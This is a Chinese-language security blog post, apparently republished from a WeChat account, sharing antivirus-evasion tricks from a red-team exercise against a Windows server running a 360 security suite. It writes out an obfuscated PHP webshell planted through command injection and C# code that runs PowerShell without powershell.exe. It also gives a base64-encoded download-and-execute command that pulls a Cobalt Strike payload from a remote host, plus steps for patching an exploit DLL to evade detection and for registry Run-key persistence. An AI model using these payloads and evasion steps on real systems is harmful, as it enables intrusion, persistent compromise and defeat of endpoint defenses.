【干货】Bypass AV 小技巧分享

  • A+
所属分类:安全文章


【干货】Bypass AV 小技巧分享


△△△点击上方“蓝字”关注我们了解更多精彩




0x00 前言


分享下之前HW整理绕过AV的一些知识点



0x01 环境介绍

WebserverApache + PHP

OSWin 10

C2Cobalt Strike

AV:某60全家桶

 

模拟Webserver有一个命令执行的漏洞,简单粗暴

 

【干货】Bypass AV 小技巧分享







0x02 命令执行写webshell

(这个webshell网上随便找的, php7不能用,总之就是写一个免杀的webshell

echo  "<?php class One{ function xiaoma($x){ $c=str_rot13('n!ff!re!nffreg'); $str=explode('!',$c)[3]; $str($x); } } $test=new One(); $test->xiaoma($_REQUEST['x']); ?>"   >> new.php

【干货】Bypass AV 小技巧分享

【干货】Bypass AV 小技巧分享






0x03 Powershell上线CS

通过代码直接调用System.Management,替代powershell.exe

 

简单的实现:

c#代码,保存为1.cs

using System.Collections.ObjectModel;using System.Management.Automation;using System.Management.Automation.Runspaces;using System.IO;using System;using System.Text;namespace PSLess{ class PSLess {   static void Main(string[] args)   {     if(args.Length ==0)         Environment.Exit(1); string temp = Base64Decode(args[0]);     string s=RunScript(temp);     Console.WriteLine(s);     Console.ReadKey();   }    public static string Base64Decode(string s) {    return System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(s)); }   private static string RunScript(string script) {    Runspace MyRunspace = RunspaceFactory.CreateRunspace();    MyRunspace.Open();    Pipeline MyPipeline = MyRunspace.CreatePipeline();    MyPipeline.Commands.AddScript(script);    MyPipeline.Commands.Add("Out-String");    Collection<PSObject> outputs = MyPipeline.Invoke();    MyRunspace.Close();   StringBuilder sb = new StringBuilder();   foreach (PSObject pobject in outputs)   {       sb.AppendLine(pobject.ToString());   }    return sb.ToString();  } }}


利用CSC进行,每个电脑路径可以自己找一下,编译:

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /reference:C:WindowsMicrosoft.NETassemblyGAC_MSILSystem.Management.Automationv4.0_3.0.0.0__31bf3856ad364e35system.management.automation.dll /out:D:/power_base64.exe  d:1.cs


通过webshell把生成的EXE上传到目标服务器上,base64编码加载:

Ping 127.0.0.1 -n 5 && cmd /c power_base64.exe "SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzE5Mi4xNjguNDMuMTAwLzEvcGF5bG9hZC5wczEnKSk="

【干货】Bypass AV 小技巧分享

Base64编码的内容为:IEX ((new-object net.webclient).downloadstring('http://192.168.43.100/1/payload.ps1'))


Ps1脚本为CS默认生成的,没有做改动




0x04 提权

Github有写好的插件,直接用来测试下

https://github.com/hlldz/CVE-2021-1675-LPE

 

需要自己手动编译一下,并且上传恶意dll需要和代码中的路径、名称一样

【干货】Bypass AV 小技巧分享

上传的DLL做一下免杀处理,就是简单改一下管道名字就好

修改步骤:

1、将默认生成的dll放入x96dbg

2、Alt+f9

3、右键-->搜索-->所有模块-->字符串,双击此处会跳转到管道命名处

【干货】Bypass AV 小技巧分享

4、右键下图位置-->在内存窗口中转到-->常数

【干货】Bypass AV 小技巧分享


5、之后双击下图位置,随便改一个字符就好

【干货】Bypass AV 小技巧分享


6、把文件传上去,开始提权,主动扫描没有报毒,遗憾的是执行漏洞利用的时候被拦截了。

【干货】Bypass AV 小技巧分享


 

后来使用CS自带的提权,可以提权成功,就是会提示提权过程中生成的文件有病毒

【干货】Bypass AV 小技巧分享


提权的就到这里,主要是为了抛思路,各位师傅可以自行尝试各种方法。

 

另外再提一下CS插件开发的bdllspawn,反射型dll加载,由于是内存加载,自带一点免杀效果,可以利用该功能把一些EXP写进去。

Dll的模板可以到github下载:

https://github.com/stephenfewer/ReflectiveDLLInjection



0x05 注册表RUN键持久化

CS插件编写可以参考这篇文章:

https://cloud.tencent.com/developer/article/1808276

 

这里简单写一下CS插件的步骤吧

1、下载dll模板

https://github.com/stephenfewer/ReflectiveDLLInjection

2、打开sln文件,把要实现的功能代码插入到dllmain函数中,编译就好

【干货】Bypass AV 小技巧分享

 

3、编译完成后编写cna文件

【干货】Bypass AV 小技巧分享

 

4、运行(先不要把恶意的exe文件放到指定位置,先放到别的地方)

【干货】Bypass AV 小技巧分享


5、注册表成功写入后,copy恶意EXE到指定位置,记住,用copy,不要上传

【干货】Bypass AV 小技巧分享

 

6、重启验证


【干货】Bypass AV 小技巧分享




0x06 总结
免杀的手法很多,大家多多尝试就好
CS插件可以关注公众号回复“REGADD插件”即可获取,散会~



END



【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

走过路过的大佬们留个关注再走呗【干货】Bypass AV 小技巧分享

往期文章有彩蛋哦【干货】Bypass AV 小技巧分享

【干货】Bypass AV 小技巧分享


本文始发于微信公众号(渗透Xiao白帽):【干货】Bypass AV 小技巧分享

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: